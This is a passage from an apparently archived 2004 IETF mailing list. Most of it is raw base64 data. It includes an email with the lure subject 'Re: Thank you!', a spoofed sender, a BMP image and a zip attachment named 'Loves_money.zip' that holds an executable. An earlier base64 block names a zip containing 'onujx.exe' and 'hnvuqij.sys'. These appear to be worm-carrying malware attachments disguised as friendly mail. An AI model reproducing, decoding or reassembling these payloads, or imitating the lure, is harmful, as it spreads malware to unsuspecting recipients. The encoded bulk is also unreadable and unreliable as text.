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 ----------rcbhszpucazwbieuibwt-- From owner-ietf-kink Fri May 28 07:10:17 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4SEAHCL002399; Fri, 28 May 2004 07:10:17 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4SEAHsD002398; Fri, 28 May 2004 07:10:17 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from gab54-1.net (fwdoc.estig.ipb.pt [193.136.195.3]) by above.proper.com (8.12.11/8.12.9) with SMTP id i4SEAEKt002375 for ; Fri, 28 May 2004 07:10:15 -0700 (PDT) (envelope-from jtrostle@world.std.com) Date: Fri, 28 May 2004 15:15:57 +0000 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Thank you! Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------gegziiwnmtxvnjoslvdg" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------gegziiwnmtxvnjoslvdg Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------gegziiwnmtxvnjoslvdg Content-Type: image/bmp; name="bwshsmmaqp.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bwshsmmaqp.bmp" Content-ID: Qk2eDwAAAAAAADYAAAAoAAAAcwAAABEAAAABABAAAAAAAGgPAAAAAAAAAAAAAAAAAAAAAAAA /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9/ICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgK/9//3//f/9//3//fwAA/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//38AAP9//3//f/9//3//fyArICv/f/9//3//f/9//3//f9lvaUNpQ7VjICsgK/9/ /XeyWyArICuPU9x3/XeyWyArICuPU9x3/3//f2lDICu3Z/9/2GsgK2lD/3//f/9//3+1Y2lD aUO1Y/9//3//fyArICv/f/9//3//f5FXaUPZbyArICv/f/9/ICsgK/9//3//f/9//3/cd5FX ICtpQ7Vj/3//f/9//3//fyArICv/f/9//3+0XyArICu0X/9//3//f/9//38gKyAr/3//f2lD ICsgKyArICsgK/9//3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyAr/3//f/9//3//f/9/ /39pQyAr3HfYayArICv/f49TICvcd/13ICtsS49TICvcd/13ICtsS/9/3HcgKyArkVf/f7Jb ICsgK9x3/3//f7dnICvYa9hrICu3Z/9//38gKyAr/3//f/9/tF8gK9hrt2cgKyAr/3//fyAr ICv/f/9//3//f/9/j1MgK9x32GsgK7Rf/3//f/9//38gKyAr/3//f7RfICvYa9pvICu0X/9/ /3//f/9/ICsgK/9//3+0XyAr2Gv/f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ ICsgK/9//3//f/9//3//f/9/ICsgK/9//38gKyAr/3//f/9/2m+0XyAraUP/f/9/2m+0XyAr aUP/f7VjICsgKyAr/38gKyArICu1Y/9//39sSyAr/3//fyArbEv/f/9/ICsgK/9//3//f2lD ICv/f/9/ICsgK/9//3//f/9//3//f/9//3//f/9//3//f/9/ICtpQ/9//3//f/9/ICsgK/9/ /38gKyAr/3//fyArICv/fyArICsgKyArICsgK/9//XcgK2lD3Hf/f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//fyArICv/f/9//3//f/9//3//f9lvICuyW9x3ICsgK/9/2W9pQyAr ICtpQ9lv2W9pQyArICtpQ9lv/39sSyAr2W8gK7dnICvabyArbEv/f/9/ICsgK/9//38gKyAr /3//fyArICv/f/9//38gKyAr/3//fyArICv/f/9//3//f/9//3//f/9//3//f/9//3//fyAr ICv/f/9//3//fyArICv/f/9/aUMgK/9//38gKyAr/3+RV9lv/38gKyAr/3//f/9/2GsgK2lD /3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyArICsgKyArtF//f/9//3//f9tz tWOPUyArICv/f2lDICuPU9lv/3//f2lDICuPU9lv/3//f9x3ICuPU/9/ICsgK2lD/3+PUyAr 3Hf/f2xLICv/f/9/ICtsS/9//38gKyAr/3//f/9/aUMgK/9//38gKyAr/3//f/9//3//f/9/ /3//f/9//3//f/9//38gK2lD/3//f/9//38gKyAr/3//f7VjICvab9lvICu1Y/9/2m+RV/9/ ICsgK/9//3//f/9/kVcgK5FX/3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ICsgK/9/ /3+3ZyArtF//f/9/j1Pab/9/3HcgK2lD/39sSyAr/3/cdyArj1NsSyAr/3/cdyArj1O1YyAr 2Gv/f5FXICuyW/9/2GsgK7Vj/3+3ZyAr2GvYayArt2f/f/9/ICsgK9pv/3//f7RfICvYa7Rf ICsgK/9//38gKyAr/3//f/9//3//f5FXICvcd9hrICu0X/9//3//f/9/ICsgK/9//3//f2xL ICsgKyAr/Xf/f/9/bEvbcyArICv/f/9//3//f/9/bEsgK9hr/3//f/9//3//f/9//38AAP9/ /3//f/9//3//fyArICv/f/9//38gKyAr/3//f9x3kVcgKyArbEvab/9/3HePUyArICuRV9x3 3HePUyArICuRV9x3bEsgK/13/3+3ZyAr2W//f/9/ICtsS/9//3+1Y2lDICu1Y/9//3//fyAr ICuRV49T/3//f5FXbEvZbyArICv/f/9/ICsgK/9//3//f/9//3+RVyAraUMgK5FX/3//f/9/ kVf/fyArICv/f/9/slsgK9tz23MgK7Rf/3//f9lvtF8gKyAr/3//f/9//3//f9tzICtpQ/9/ /3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyAr/3//f/9/ICsgK/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38gKyAr/3//f/9//3//f/9//3//f/9/ t2cgK9lv/3//f/9//3//fyArj1MgKyAr/3//fyArICv/f/9/ICsgK/9//3//f2xLICsgK/9/ /3//f/9//3//fyArICv/f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ICsgK/9//3/YayAr slv/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ICsgK/9/ /3//f/9//3//f/9//3//f9pvICuyW/9//3//f/9//3/cd5FXICsgK/9//3+RVyAr23PbcyAr kVf/f/9//3/YayArICv/f/9/bEsgK9x33HcgK7Rf/3//f/9//3//f/9//38AAP9//3//f/9/ /3//fyArICsgKyArICuyW/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//fyArICv/f/9//3//f/9//3//f/9//3/9dyArICsgKyArICv/f/9//3//f7Jb ICv/f/9/3HeyWyArICuyW/13/3//f/9//39pQyAr/3//f9x3j1MgKyArtF//f/9//3//f/9/ /3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ AAA= ----------gegziiwnmtxvnjoslvdg Content-Type: application/octet-stream; name="Loves_money.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Loves_money.zip" UEsDBAoAAQAIAAB3vDBavtZtLFMAAN1PAAALAAAAd3h0YWNtcS5leGWPqBkBTA6vjCJ6zqfv 